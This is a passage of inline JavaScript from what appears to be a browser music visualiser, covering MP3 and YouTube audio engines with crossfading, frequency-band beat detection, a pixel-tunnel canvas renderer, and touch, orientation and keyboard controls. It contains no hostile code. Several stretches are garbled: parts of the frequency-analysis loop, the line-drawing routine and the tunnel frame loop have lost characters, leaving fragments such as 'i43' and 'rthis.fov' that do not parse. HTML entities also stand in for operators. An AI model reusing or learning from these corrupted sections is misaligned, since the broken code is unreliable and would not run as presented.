if(!player.duration)return;\n\n        const fadeTime=Math.max(FADE_MS+1000,player.duration*1000-FADE_MS-500);\n\n        clearTimeout(this._prefadeTimer);\n\n        this._prefadeTimer=setTimeout(()=&gt;this.beginCrossfade({}),fadeTime);\n\n      }\n\n      start(){\n        this.started=true;this.updateUITrack();\n\n        if(this.audioContext&amp;&amp;this.audioContext.state==='suspended'){\n\n          this.audioContext.resume();\n\n        }\n\n        this._loadOn(this.activeKey,this.tracks[this.trackIndex],{fadeIn:START_FADE_IN});\n\n      }\n\n      _loadOn(k,t,{fadeIn}={fadeIn:true}){\n        if(!k||!t||!this.players[k])return;\n\n        const p=this.players[k];\n\n        p.src=t.src;\n\n        p.load();\n\n        if(fadeIn){\n          this._fadeVolumes({toKey:k,ms:FADE_MS});\n\n        }else{\n\n          p.volume=this.muted?0:1;\n\n        }\n\n        // Connect to analyser if this is the active player\n        if(k===this.activeKey){\n\n          this._connectAnalyser();\n\n        }\n\n        // Auto-play when ready\n        p.addEventListener('canplay',()=&gt;{\n\n          if(!this.muted||fadeIn)p.play().catch(()=&gt;{});\n\n        },{once:true});\n\n      }\n\n      beginCrossfade({fast=false}={}){\n        clearInterval(this._fadeIv);clearTimeout(this._prefadeTimer);\n\n        const n=(this.trackIndex+1)%this.tracks.length,t=this.tracks[n];\n\n        const f=this.activeKey,o=this.inactiveKey;\n\n        this._loadOn(o,t,{fadeIn:false});\n\n        setTimeout(()=&gt;{\n\n          this._fadeVolumes({fromKey:f,toKey:o,ms:fast?Math.min(1200,FADE_MS):FADE_MS});\n\n          this.trackIndex=n;this.updateUITrack();\n\n        },fast?200:500);\n\n      }\n\n      prev(){\n        clearInterval(this._fadeIv);clearTimeout(this._prefadeTimer);\n\n        const p=(this.trackIndex-1+this.tracks.length)%this.tracks.length,t=this.tracks[p];\n\n        const f=this.activeKey,o=this.inactiveKey;\n\n        this._loadOn(o,t,{fadeIn:false});\n\n        setTimeout(()=&gt;{\n\n          this._fadeVolumes({fromKey:f,toKey:o,ms:FADE_MS});\n\n          this.trackIndex=p;this.updateUITrack();\n\n        },300);\n\n      }\n\n      next(){this.beginCrossfade({fast:false})}\n      toggleMute(){\n        this.muted=!this.muted;\n\n        const p=this.players[this.activeKey];\n\n        if(p){\n\n          if(this.muted){\n\n            p.pause();\n\n          }else{\n\n            p.play().catch(()=&gt;{});\n\n          }\n\n        }\n\n        try{navigator.vibrate?.(6)}catch{}\n\n      }\n\n      updateUITrack(){\n        const u=document.getElementById(\"uiLabel\");\n\n        if(!u)return;\n\n        const t=this.tracks[this.trackIndex];\n\n        const title=t?.title||t?.src?.split('/').pop()||'MP3';\n\n        const artist=t?.artist||'';\n\n        u.textContent=artist?`${artist} - ${title}`:title;\n\n      }\n\n      _fadeVolumes({fromKey:f,toKey:t,ms:m=FADE_MS}={}){\n        clearInterval(this._fadeIv);\n\n        const s=30,i=m/s;let c=0;\n\n        this._fadeIv=setInterval(()=&gt;{\n\n          c++;const p=c/s,v=1-p,w=p;\n\n          if(f&amp;&amp;this.players[f])this.players[f].volume=this.muted?0:v;\n\n          if(t&amp;&amp;this.players[t])this.players[t].volume=this.muted?0:w;\n\n          if(c&gt;=s){\n\n            clearInterval(this._fadeIv);\n\n            this.activeKey=t;this.inactiveKey=f||\"a\";\n\n            this._connectAnalyser();\n\n          }\n\n        },i);\n\n      }\n\n      data(){\n        if(!this.analyser||!this.dataArray){\n\n          // Fallback to synthetic data\n\n          const m=motionScale();this.beatPhase+=.08*m;\n\n          const b=.5+.4*Math.sin(this.beatPhase*.8);\n\n          const i=.45+.35*Math.sin(this.beatPhase*1.2+.7);\n\n          const h=.35+.35*Math.sin(this.beatPhase*1.8+1.2);\n\n          const a=(b+i+h)/3;\n\n          const r=Math.sin(this.beatPhase)&gt;.8?1:0;\n\n          this._beatEnv=(this._beatEnv||0)+(r-(this._beatEnv||0))*(r?.4:.06);\n\n          return{bass:b,mid:i,high:h,average:a,beat:this._beatEnv,energy:this.energyLevel,subBass:b,vocals:i,treble:h};\n\n        }\n\n        this.analyser.getByteFrequencyData(this.dataArray);\n        const len=this.dataArray.length;\n\n        // Enhanced frequency bands (more granular)\n        const subBassEnd=Math.floor(len*0.05);  // 20-60Hz\n\n        const bassEnd=Math.floor(len*0.2);      // 60-250Hz\n\n        const midEnd=Math.floor(len*0.6);       // 250-4kHz\n\n        const vocalStart=Math.floor(len*0.15);  // ~200Hz\n\n        const vocalEnd=Math.floor(len*0.4);     // ~2kHz\n\n        let subBassSum=0,bassSum=0,midSum=0,highSum=0,vocalSum=0;\n        for(let i=0;i43)this._fluxHistory.shift();\n\n        const avgFlux=this._fluxHistory.reduce((a,b)=&gt;a+b,0)/this._fluxHistory.length;\n\n        const threshold=avgFlux*1.5;\n\n        const now=Date.now();\n        let beat=0;\n\n        if(flux&gt;threshold&amp;&amp;flux&gt;0.15&amp;&amp;now-this._lastBeat&gt;100){\n\n          beat=1;this._lastBeat=now;\n\n        }\n\n        this._beatEnv=(this._beatEnv||0)+(beat-(this._beatEnv||0))*(beat?.7:.1);\n\n        this.energyLevel=this.energyLevel*.99+average*.01;\n        return{bass,mid,high,average,beat:this._beatEnv,energy:this.energyLevel,subBass,vocals,treble:high,flux};\n\n      }\n\n    }\n\n    class AudioEngine{\n      constructor(){this.apiReady=false;this.players={a:null,b:null};this.started=false;this.muted=true;this.trackIndex=0;this.tracks=YOUTUBE_TRACKS.slice().sort(()=&gt;Math.random()-.5);this.activeKey=\"a\";this.inactiveKey=\"b\";this._fadeIv=null;this._prefadeTimer=null;this._loadWatch=null;this.beatPhase=0;this.energyLevel=.5}\n\n      initAPI(){if(IN_SANDBOX)return;try{this.players.a=new YT.Player(\"yt-player-a\",{width:\"1\",height:\"1\",playerVars:{autoplay:1,controls:0,disablekb:1,fs:0,iv_load_policy:3,modestbranding:1,rel:0,playsinline:1},events:{onReady:()=&gt;this.onReady(\"a\"),onStateChange:e=&gt;this.onStateChange(\"a\",e),onError:()=&gt;this.onError(\"a\")}});this.players.b=new YT.Player(\"yt-player-b\",{width:\"1\",height:\"1\",playerVars:{autoplay:1,controls:0,disablekb:1,fs:0,iv_load_policy:3,modestbranding:1,rel:0,playsinline:1},events:{onReady:()=&gt;this.onReady(\"b\"),onStateChange:e=&gt;this.onStateChange(\"b\",e),onError:()=&gt;this.onError(\"b\")}});this.apiReady=true}catch{this.apiReady=false}}\n\n      onReady(k){try{this.players[k].unMute();this.players[k].setVolume(0)}catch{}if(this.started&amp;&amp;k===this.activeKey)this._loadOn(k,this.tracks[this.trackIndex],{fadeIn:START_FADE_IN})}\n\n      onStateChange(k,e){if(IN_SANDBOX)return;const S=YT.PlayerState;if(e.data===S.ENDED){if(k===this.activeKey)this.beginCrossfade({fast:true})}else if(e.data===S.PLAYING){clearTimeout(this._loadWatch);try{const p=this.players[k];const s=()=&gt;{const d=p.getDuration?p.getDuration()||0:0;if(d&gt;0){const m=Math.max(FADE_MS+1000,d*1000-FADE_MS-500);clearTimeout(this._prefadeTimer);this._prefadeTimer=setTimeout(()=&gt;this.beginCrossfade({}),m)}};s();setTimeout(s,500);setTimeout(s,1500)}catch{}}}\n\n      onError(){clearTimeout(this._loadWatch);try{navigator.vibrate?.([8,40,8])}catch{}this.beginCrossfade({fast:true})}\n\n      start(){this.started=true;this.updateUITrack();this._loadOn(this.activeKey,this.tracks[this.trackIndex],{fadeIn:START_FADE_IN})}\n\n      _loadOn(k,t,{fadeIn}={fadeIn:true}){if(IN_SANDBOX||!k||!t)return;clearTimeout(this._loadWatch);const i=t.id;if(this.apiReady&amp;&amp;this.players[k]&amp;&amp;this.players[k].loadVideoById){try{const p=this.players[k];p.loadVideoById({videoId:i,startSeconds:t.start||0,endSeconds:t.end,suggestedQuality:\"tiny\"});try{p.unMute()}catch{}if(fadeIn)this._fadeVolumes({toKey:k,ms:FADE_MS});this._loadWatch=setTimeout(()=&gt;{try{const n=p.getCurrentTime?p.getCurrentTime():0;if(n&lt;.1)this.beginCrossfade({fast:true})}catch{this.beginCrossfade({fast:true})}},4000);return}catch{}}const f=document.getElementById(\"player-fallback-\"+k);if(!f)return;const s=`https://www.youtube.com/embed/${i}?autoplay=1&amp;controls=0&amp;disablekb=1&amp;fs=0&amp;iv_load_policy=3&amp;modestbranding=1&amp;rel=0&amp;playsinline=1&amp;mute=1&amp;enablejsapi=1${t.start?`&amp;start=${t.start}`:\"\"}${t.end?`&amp;end=${t.end}`:\"\"}`;f.src=s;f.onload=()=&gt;{ytPost(f,\"playVideo\",[]);if(fadeIn){ytPost(f,\"setVolume\",[0]);ytPost(f,\"unMute\",[]);this._fadeVolumes({toKey:k,ms:FADE_MS})}else{ytPost(f,\"setVolume\",[100]);ytPost(f,\"unMute\",[])}};this._loadWatch=setTimeout(()=&gt;this.beginCrossfade({fast:true}),5000)}\n\n      beginCrossfade({fast=false}={}){if(IN_SANDBOX)return;clearInterval(this._fadeIv);clearTimeout(this._prefadeTimer);const n=(this.trackIndex+1)%this.tracks.length,t=this.tracks[n],f=this.activeKey,o=this.inactiveKey;this._loadOn(o,t,{fadeIn:false});setTimeout(()=&gt;{this._fadeVolumes({fromKey:f,toKey:o,ms:fast?Math.min(1200,FADE_MS):FADE_MS});this.trackIndex=n;this.updateUITrack()},fast?200:500)}\n\n      prev(){if(IN_SANDBOX)return;clearInterval(this._fadeIv);clearTimeout(this._prefadeTimer);const p=(this.trackIndex-1+this.tracks.length)%this.tracks.length,t=this.tracks[p],f=this.activeKey,o=this.inactiveKey;this._loadOn(o,t,{fadeIn:false});setTimeout(()=&gt;{this._fadeVolumes({fromKey:f,toKey:o,ms:FADE_MS});this.trackIndex=p;this.updateUITrack()},300)}\n\n      next(){this.beginCrossfade({fast:false})}\n\n      toggleMute(){this.muted=!this.muted;if(IN_SANDBOX)return;try{if(this.apiReady){const p=this.players[this.activeKey];this.muted?p.mute():p.unMute()}else{const i=document.getElementById(\"player-fallback-\"+this.activeKey);ytPost(i,this.muted?\"mute\":\"unMute\",[])}}catch{}try{navigator.vibrate?.(6)}catch{}}\n\n      updateUITrack(){const u=document.getElementById(\"uiLabel\");if(!u)return;const t=this.tracks[this.trackIndex];const artist=t?.artist||'';const title=t?.title||'Track';u.textContent=artist?`${artist} - ${title}`:title}\n\n      _fadeVolumes({fromKey:f,toKey:t,ms:m=FADE_MS}={}){if(IN_SANDBOX)return;clearInterval(this._fadeIv);const s=30,i=m/s;let c=0;this._fadeIv=setInterval(()=&gt;{c++;const p=c/s,v=Math.round(100*(1-p)),w=Math.round(100*p);if(this.apiReady){try{if(f&amp;&amp;this.players[f])this.players[f].setVolume(v)}catch{}try{if(t&amp;&amp;this.players[t])this.players[t].setVolume(w)}catch{}}else{if(f)ytPost(document.getElementById(\"player-fallback-\"+f),\"setVolume\",[v]);if(t)ytPost(document.getElementById(\"player-fallback-\"+t),\"setVolume\",[w])}if(c&gt;=s){clearInterval(this._fadeIv);this.activeKey=t;this.inactiveKey=f||\"a\"}},i)}\n\n      data(){const m=motionScale();this.beatPhase+=.08*m;this.energyLevel=this.energyLevel*.999+Math.random()*.001;const b=.5+.4*Math.sin(this.beatPhase*.8),i=.45+.35*Math.sin(this.beatPhase*1.2+.7),h=.35+.35*Math.sin(this.beatPhase*1.8+1.2),a=(b+i+h)/3,r=Math.sin(this.beatPhase)&gt;.8?1:0;this._beatEnv=(this._beatEnv||0)+(r-(this._beatEnv||0))*(r?.4:.06);return{bass:b,mid:i,high:h,average:a,beat:this._beatEnv,energy:this.energyLevel}}\n\n    }\n\n    // Initialize audio engine - MP3 if available, otherwise YouTube\n\n    let audio=null;\n\n    const initAudioEngine=async()=&gt;{\n\n      const mp3Tracks=await detectMp3Playlist();\n\n      if(mp3Tracks&amp;&amp;mp3Tracks.length&gt;0){\n\n        audio=new Mp3AudioEngine(mp3Tracks);\n\n        console.log(`Using MP3 audio engine with ${mp3Tracks.length} tracks`);\n\n      }else{\n\n        audio=new AudioEngine();\n\n        console.log('Using YouTube audio engine');\n\n      }\n\n    };\n\n    initAudioEngine();\n\n    window.onYouTubeIframeAPIReady=()=&gt;audio.initAPI();\n\n    const canvas=document.getElementById(\"canvas\"),uiEl=document.getElementById(\"ui\");\n\n    let INTERNAL_SCALE=1,w=0,h=0;\n\n    const SCALE_MAX=Math.min(2,DPR)*(isLowEnd?.9:1),SCALE_MIN=isLowEnd?.6:.7,TARGET_MS=16.7;\n\n    let ewma=TARGET_MS,lastScaleAdjust=0,MIN_FRAME_MS=16;\n\n    const updateMinFrameInterval=()=&gt;MIN_FRAME_MS=typeof matchMedia===\"function\"&amp;&amp;matchMedia(\"(prefers-reduced-motion: reduce)\").matches?33:16;\n\n    const applyInternalScale=(b=isLowEnd?.8:1)=&gt;INTERNAL_SCALE=Math.max(SCALE_MIN,Math.min(SCALE_MAX,b*Math.min(2,DPR)));\n\n    (()=&gt;{\n\n      const pack32=(r,g,b,a)=&gt;((a&amp;255)&lt;&lt;24)|((b&amp;255)&lt;&lt;16)|((g&amp;255)&lt;&lt;8)|(r&amp;255);\n\n      class PixelTunnel{\n\n        constructor(c){this.ctx=c;this.w=0;this.h=0;this.s=1;this.imageData=null;this.data=null;this.u32=null;this.BLACK32=0;this.fov=250;this.speed=.75;this.segments=64;this.baseRadius=75;this.zStep=4;this.particles=[];this.centers=[];this.time=0;this.mouse={x:0,y:0,down:false,active:false};this.ori={active:false,beta:0,gamma:0};this.tieRowStride=1;this.ringPxCull=.15}\n\n        resize(w,h,s){this.w=w;this.h=h;this.s=s;this.ctx.fillStyle=\"#000\";this.ctx.fillRect(0,0,w,h);this.imageData=this.ctx.getImageData(0,0,w,h);this.data=this.imageData.data;this.u32=new Uint32Array(this.data.buffer);const t=new Uint8ClampedArray(4);t[3]=255;this.BLACK32=new Uint32Array(t.buffer)[0];this.init()}\n\n        clearImageData(){this.u32.fill(this.BLACK32)}\n\n        setPixel32(x,y,c){if(x&lt;=0||x&gt;=this.w||y&lt;=0||y&gt;=this.h)return;const i=x+y*this.imageData.width;this.u32[i]=c}\n\n        drawLine32(x1,y1,x2,y2,c){let dx=Math.abs(x2-x1),dy=Math.abs(y2-y1),sx=x10&amp;&amp;lx0&amp;&amp;ly-dy){err-=dy;lx+=sx}if(e21024)aIdx=8;if(aIdx&lt;8)aIdx=1024}this.particles.push(row)}}\n\n        frame(a){const m=motionScale();this.clearImageData();const l=this.particles.length;let s=false;for(let i=0;i0?this.particles[i-1]:null,center=this.centers[i];if(this.mouse.active){center.x=(this.w/2-this.mouse.x/this.s)*((row[0].z-this.fov)/500)+this.w/2;center.y=(this.h/2-this.mouse.y/this.s)*((row[0].z-this.fov)/500)+this.h/2}else if(this.ori.active){const mx=-this.ori.gamma*(this.w/180),my=-this.ori.beta*(this.h/180);center.x=this.w/2+mx*((row[0].z-this.fov)/500);center.y=this.h/2+my*((row[0].z-this.fov)/500)}else{center.x+=(this.w/2-center.x)*.015;center.y+=(this.h/2-center.y)*.015}const f=(a?.average||0)*64+(a?.beat?8:0),sc=this.fov/(this.fov+row[0].z),r=(this.baseRadius+f)*sc;if(rthis.fov){p.z-=this.fov*2;s=true}}else{p.z-=this.speed*m;if(p.z&lt;-this.fov){p.z+=this.fov*2;s=true}}const n=this.getCirclePos(p.centerX,p.centerY,p.radiusAudio,p.index,p.segments);p.x=n.x;p.y=n.y}const c=this.colorForRow32(i,l,a);for(let j=1;j2){const f=row[0],t=row[row.length-1];this.drawLine32(t.x2d|0,t.y2d|0,f.x2d|0,f.y2d|0,c)}if(i&gt;0&amp;&amp;ib[0].z-a[0].z);this.time+=(this.mouse.down?-.005:.005)*m;this.ctx.putImageData(this.imageData,0,0)}\n\n      }\n\n      const ctx=canvas.getContext(\"2d\",{alpha:false,willReadFrequently:true})||canvas.getContext(\"2d\");\n\n      window.tunnelRenderer=new PixelTunnel(ctx)\n\n    })();\n\n    (() =&gt; {\n\n      'use strict';\n\n      function applyPatch() {\n\n        const tr = window.tunnelRenderer;\n\n        if (!tr || typeof tr !== 'object') return false;\n\n        if (tr.__rb_perf_patched) return true;\n\n        const orig = {\n\n          frame: typeof tr.frame === 'function' ? tr.frame.bind(tr) : null,\n\n          resize: typeof tr.resize === 'function' ? tr.resize.bind(tr) : null,\n\n          getCirclePos: typeof tr.getCirclePos === 'function' ? tr.getCirclePos.bind(tr) : null,\n\n        };\n\n        if (!orig.frame || !orig.resize || !orig.getCirclePos) return false;\n\n        tr.__rb_perf_patched = true;\n\n        tr.__rbTrig = { segments: 0, cosBase: null, sinBase: null, ct: 1, st: 0 };\n\n        tr.__computeTrigTables = function() {\n\n          const seg = this.segments | 0; if (!seg || this.__rbTrig.segments === seg) return;\n\n          const cosB = new Float32Array(seg), sinB = new Float32Array(seg);\n\n          const tau = Math.PI * 2;\n\n          for (let i = 0; i &lt; seg; i++) { const a = (i * tau) / seg; cosB[i] = Math.cos(a); sinB[i] = Math.sin(a); }\n\n          this.__rbTrig.cosBase = cosB; this.__rbTrig.sinBase = sinB; this.__rbTrig.segments = seg;\n\n        };\n\n        tr.resize = function(w, h, s) { const r = orig.resize(w, h, s); this.__computeTrigTables(); return r; };\n\n        tr.frame = function(a) { this.__rbTrig.ct = Math.cos(this.time); this.__rbTrig.st = Math.sin(this.time); return orig.frame(a); };\n\n        tr.getCirclePos = function(cx, cy, r, i, s) {\n\n          if (!this.__rbTrig || this.__rbTrig.segments !== (this.segments | 0)) this.__computeTrigTables();\n\n          const seg = this.__rbTrig.segments || this.segments || s || 0; if (!seg) return { x: cx, y: cy };\n\n          const idx = i % seg; const cosA = this.__rbTrig.cosBase[idx]; const sinA = this.__rbTrig.sinBase[idx];\n\n          const ct = this.__rbTrig.ct, st = this.__rbTrig.st;\n\n          const cosAT = cosA * ct - sinA * st; const sinAT = sinA * ct + cosA * st;\n\n          return { x: cx + cosAT * r, y: cy + sinAT * r };\n\n        };\n\n        tr.__computeTrigTables();\n\n        const verifyOnce = () =&gt; { try { const idxs = [0, Math.max(1, (tr.segments/3)|0), Math.max(2, (tr.segments/2)|0)]; const cx=100, cy=80, r=50; for (const k of idxs) { const aOld = k*(Math.PI*2/tr.segments)+tr.time; const ox = cx + Math.cos(aOld)*r; const oy = cy + Math.sin(aOld)*r; const p = tr.getCirclePos(cx, cy, r, k, tr.segments); const dx = Math.abs(ox - p.x); const dy = Math.abs(oy - p.y); if (dx &gt; 1e-6 || dy &gt; 1e-6) { /* optional rollback; keep silent */ } } } catch {} };\n\n        const scheduleVerify = window.requestIdleCallback ?\n\n          (() =&gt; window.requestIdleCallback(verifyOnce)) :\n\n          (() =&gt; window.setTimeout(verifyOnce, 0));\n\n        scheduleVerify();\n\n        return true;\n\n      }\n\n      function start() {\n\n        if (applyPatch()) return; let tries = 0; const iv = setInterval(() =&gt; { tries++; if (applyPatch() || tries &gt; 200) clearInterval(iv); }, 25);\n\n      }\n\n      if (document.readyState === 'loading') document.addEventListener('DOMContentLoaded', start, { once: true }); else start();\n\n    })();\n\n    const sizeCanvas=()=&gt;{w=Math.floor(window.innerWidth*INTERNAL_SCALE);h=Math.floor(window.innerHeight*INTERNAL_SCALE);canvas.width=w;canvas.height=h;canvas.style.width=window.innerWidth+\"px\";canvas.style.height=window.innerHeight+\"px\";window.tunnelRenderer?.resize?.(w,h,INTERNAL_SCALE);if(window.vizRenderers){for(const v of window.vizRenderers){if(v&amp;&amp;v.resize)v.resize(w,h,INTERNAL_SCALE)}}if(window.particleSys)window.particleSys.resize(w,h);if(window.starfield)window.starfield.resize(w,h)};\n\n    const setScaleAndResize=n=&gt;{const c=Math.max(SCALE_MIN,Math.min(SCALE_MAX,n));if(Math.abs(c-INTERNAL_SCALE)&gt;.01){INTERNAL_SCALE=c;sizeCanvas()}};\n\n    const doResize=()=&gt;sizeCanvas();\n\n    (()=&gt;{const b=isLowEnd?.8:1;INTERNAL_SCALE=Math.max(SCALE_MIN,Math.min(SCALE_MAX,b*Math.min(2,DPR)));sizeCanvas();MIN_FRAME_MS=typeof matchMedia===\"function\"&amp;&amp;matchMedia(\"(prefers-reduced-motion: reduce)\").matches?33:16})();\n\n    window.addEventListener(\"resize\",()=&gt;{clearTimeout(window.__rzT);window.__rzT=setTimeout(doResize,80)});\n\n    const onOrient=()=&gt;setTimeout(()=&gt;sizeCanvas(),100);\n\n    window.addEventListener(\"orientationchange\",onOrient);\n\n    if(screen?.orientation?.addEventListener)try{screen.orientation.addEventListener(\"change\",onOrient)}catch{}\n\n    let mouseDown=false,mouseActive=false,mousePos={x:0,y:0},orientationActive=false,beta=0,gamma=0;\n\n    window.parallaxOffset={x:0,y:0};\n\n    const sendInput=()=&gt;{if(window.tunnelRenderer){window.tunnelRenderer.mouse={x:mousePos.x,y:mousePos.y,down:mouseDown,active:mouseActive};window.tunnelRenderer.ori={active:orientationActive,beta,gamma}}const w=window.innerWidth,h=window.innerHeight;if(orientationActive){window.parallaxOffset.x=(gamma||0)*0.8;window.parallaxOffset.y=(beta||0)*0.6}else if(mouseActive){window.parallaxOffset.x=((mousePos.x/(w*INTERNAL_SCALE))-0.5)*40;window.parallaxOffset.y=((mousePos.y/(h*INTERNAL_SCALE))-0.5)*30}else{window.parallaxOffset.x*=0.95;window.parallaxOffset.y*=0.95}};\n\n    const spawnRipple=(x,y)=&gt;{try{const r=document.createElement(\"div\");r.className=\"tap-ripple\";r.style.cssText=\"position:fixed;left:0;top:0;width:10px;height:10px;border-radius:50%;pointer-events:none;transform:translate(-50%,-50%) scale(0.4);opacity:.85;background:radial-gradient(circle,rgba(220,220,220,0.35) 0%,rgba(220,220,220,0.18) 40%,rgba(220,220,220,0) 70%);mix-blend-mode:screen;filter:blur(0.3px);animation:ripple 680ms ease-out forwards;z-index:999\";r.style.setProperty(\"--x\",x+\"px\");r.style.setProperty(\"--y\",y+\"px\");document.body.appendChild(r);r.addEventListener(\"animationend\",()=&gt;r.remove(),{once:true})}catch{}};\n\n    const rippleAtEvent=e=&gt;{try{let x=0,y=0;if(\"touches\"in e&amp;&amp;e.touches.length){x=e.touches[0].clientX;y=e.touches[0].clientY}else if(\"changedTouches\"in e&amp;&amp;e.changedTouches?.length){x=e.changedTouches[0].clientX;y=e.changedTouches[0].clientY}else{x=e.clientX;y=e.clientY}spawnRipple(x,y)}catch{}};\n\n    const setUIInversion=a=&gt;a?uiEl.classList.add(\"ui-inverted\"):uiEl.classList.remove(\"ui-inverted\");\n\n    const setupSensors=()=&gt;{if(IN_SANDBOX)return;try{if(typeof DeviceOrientationEvent!==\"undefined\"&amp;&amp;typeof DeviceOrientationEvent.requestPermission===\"function\"){DeviceOrientationEvent.requestPermission().then(s=&gt;{if(s===\"granted\")window.addEventListener(\"deviceorientation\",e=&gt;{beta=e.beta||0;gamma=e.gamma||0;orientationActive=true;sendInput()},{passive:true})}).catch(()=&gt;{})}else if(window.DeviceOrientationEvent){window.addEventListener(\"deviceorientation\",e=&gt;{beta=e.beta||0;gamma=e.gamma||0;orientationActive=true;sendInput()},{passive:true})}}catch{}};\n\n    const toggleFullscreen=()=&gt;{const d=document.documentElement;!document.fullscreenElement?d.requestFullscreen?.():document.exitFullscreen?.()};\n\n    let pinchStartDist=0,baseZoom=1,zoom=1;\n\n    const touchDistance=(t1,t2)=&gt;Math.hypot(t2.clientX-t1.clientX,t2.clientY-t1.clientY);\n\n    const applyZoom=z=&gt;{zoom=Math.max(.85,Math.min(1.25,z));document.documentElement.style.setProperty(\"--zoom\",String(zoom))};\n\n    const resetPinch=()=&gt;{pinchStartDist=0;baseZoom=zoom};\n\n    const startApp=async e=&gt;{if(audio?.started)return;\n\n      // Ensure audio engine is initialized\n\n      if(!audio)await initAudioEngine();\n\n      try{navigator.vibrate?.(12)}catch{}if(e)rippleAtEvent(e);document.getElementById(\"overlay\").style.pointerEvents=\"none\";document.getElementById(\"overlay\").classList.add(\"ack\");document.getElementById(\"start-title\").classList.add(\"clicked\");canvas.classList.add(\"start-ack\");setupSensors();if(IN_SANDBOX){const u=document.getElementById(\"uiLabel\");if(u)u.textContent=\"Visual-only (sandboxed)\"}else{\n\n        // Start appropriate audio engine\n\n        if(audio instanceof Mp3AudioEngine){\n\n          audio.start();\n\n        }else{\n\n          loadYouTubeAPI();audio.start();\n\n        }\n\n      }setTimeout(()=&gt;{document.getElementById(\"overlay\").hidden=true;document.getElementById(\"overlay\").classList.remove(\"ack\");document.getElementById(\"start-title\").classList.remove(\"clicked\");canvas.classList.remove(\"start-ack\");canvas.focus?.()},220)};\n\n    const overlayEl=document.getElementById(\"overlay\");\n\n    overlayEl.addEventListener(\"click\",e=&gt;{e.stopPropagation();e.preventDefault();startApp(e)});\n\n    overlayEl.addEventListener(\"pointerdown\",e=&gt;{rippleAtEvent(e);try{navigator.vibrate?.(8)}catch{}},{passive:true});\n\n    overlayEl.addEventListener(\"keydown\",e=&gt;{if(e.code===\"Enter\"||e.code===\"Space\"){e.preventDefault();startApp()}if(e.code===\"Tab\"){e.preventDefault();overlayEl.focus()}});\n\n    canvas.addEventListener(\"mousedown\",e=&gt;{mouseDown=true;mouseActive=true;canvas.classList.add(\"canvas-inverted\");setUIInversion(true);sendInput();rippleAtEvent(e)},false);\n\n    canvas.addEventListener(\"mouseup\",e=&gt;{mouseDown=false;canvas.classList.remove(\"canvas-inverted\");setUIInversion(false);sendInput();rippleAtEvent(e)},false);\n\n    canvas.addEventListener(\"mousemove\",e=&gt;{const r=canvas.getBoundingClientRect(),x=e.clientX-r.left,y=e.clientY-r.top;mousePos.x=x*INTERNAL_SCALE;mousePos.y=y*INTERNAL_SCALE;mouseActive=true;sendInput()},false);\n\n    canvas.addEventListener(\"mouseleave\",()=&gt;{mouseActive=false;mouseDown=false;canvas.classList.remove(\"canvas-inverted\");setUIInversion(false);sendInput()},false);\n\n    let touchStartX=0,touchStartY=0,lastTapTime=0;const swipeThreshold=70,doubleTapMs=300;\n\n    canvas.addEventListener(\"touchstart\",e=&gt;{e.preventDefault();if(e.touches.length===1){const t=e.touches[0],r=canvas.getBoundingClientRect(),x=t.clientX-r.left,y=t.clientY-r.top;touchStartX=x;touchStartY=y;mousePos.x=x*INTERNAL_SCALE;mousePos.y=y*INTERNAL_SCALE;mouseDown=true;canvas.classList.add(\"canvas-inverted\");setUIInversion(true);sendInput();rippleAtEvent(e);resetPinch()}else if(e.touches.length===2){pinchStartDist=touchDistance(e.touches[0],e.touches[1]);baseZoom=zoom}},{passive:false});\n\n    canvas.addEventListener(\"touchmove\",e=&gt;{e.preventDefault();if(e.touches.length===1){const t=e.touches[0],r=canvas.getBoundingClientRect(),x=t.clientX-r.left,y=t.clientY-r.top;mousePos.x=x*INTERNAL_SCALE;mousePos.y=y*INTERNAL_SCALE;sendInput()}else if(e.touches.length===2){if(pinchStartDist===0){pinchStartDist=touchDistance(e.touches[0],e.touches[1]);baseZoom=zoom}const d=touchDistance(e.touches[0],e.touches[1]);if(pinchStartDist&gt;0){const s=d/pinchStartDist;applyZoom(baseZoom*s)}}else resetPinch()},{passive:false});\n\n    canvas.addEventListener(\"touchend\",e=&gt;{e.preventDefault();if(e.touches.length&lt;2)resetPinch();if(e.touches.length===0){mouseDown=false;canvas.classList.remove(\"canvas-inverted\");setUIInversion(false);sendInput();rippleAtEvent(e)}if(audio?.started&amp;&amp;!IN_SANDBOX){const t=e.changedTouches[0],r=canvas.getBoundingClientRect(),endX=t.clientX-r.left,endY=t.clientY-r.top,dx=endX-touchStartX,dy=endY-touchStartY;if(Math.abs(dx)&gt;swipeThreshold||Math.abs(dy)&gt;swipeThreshold){if(Math.abs(dx)&gt;Math.abs(dy)){dx&gt;0?audio.next():audio.prev()}else{const s=document.getElementById(\"swipeHint\");s.textContent=\"Warp Tunnel\";s.classList.add(\"show\");setTimeout(()=&gt;s.classList.remove(\"show\"),1400)}try{navigator.vibrate?.(10)}catch{}}else{const n=performance.now();if(n-lastTapTime{resetPinch();mouseDown=false;canvas.classList.remove(\"canvas-inverted\");setUIInversion(false);sendInput()},{passive:true});\n\n    window.vizSpeed=1.0;window.vizIntensity=1.0;window.psychedelicMode=0;\n\n    addEventListener(\"keydown\",e=&gt;{if(e.key?.toLowerCase()===\"m\"){e.preventDefault();if(audio?.started)audio.toggleMute();return}if(e.code===\"ArrowRight\"||e.code===\"KeyN\"){e.preventDefault();if(audio?.started)audio.next();return}if(e.code===\"ArrowLeft\"||e.code===\"KeyP\"){e.preventDefault();if(audio?.started)audio.prev();return}if(e.code===\"KeyF\"||e.code===\"F11\"){e.preventDefault();toggleFullscreen();return}if(e.code===\"Space\"||e.code===\"KeyK\"){e.preventDefault();if(!audio?.started){startApp()}else{audio.toggleMute()}return}if(e.code===\"ArrowUp\"){e.preventDefault();window.vizSpeed=Math.min(3,window.vizSpeed+0.1);console.log('Speed:',window.vizSpeed.toFixed(1)+'x');return}if(e.code===\"ArrowDown\"){e.preventDefault();window.vizSpeed=Math.max(0.1,window.vizSpeed-0.1);console.log('Speed:',window.vizSpeed.toFixed(1)+'x');return}if(e.code===\"BracketRight\"){e.preventDefault();window.vizIntensity=Math.min(2,window.vizIntensity+0.1);console.log('Intensity:',window.vizIntensity.toFixed(1)+'x');return}if(e.code===\"BracketLeft\"){e.preventDefault();window.vizIntensity=Math.max(0.2,window.vizIntensity-0.1);console.log('Intensity:',window.vizIntensity.toFixed(1)+'x');return}if(e.code===\"KeyX\"){e.preventDefault();window.psychedelicMode=(window.psychedelicMode+1)%4;const modes=['Off','Trails','Color 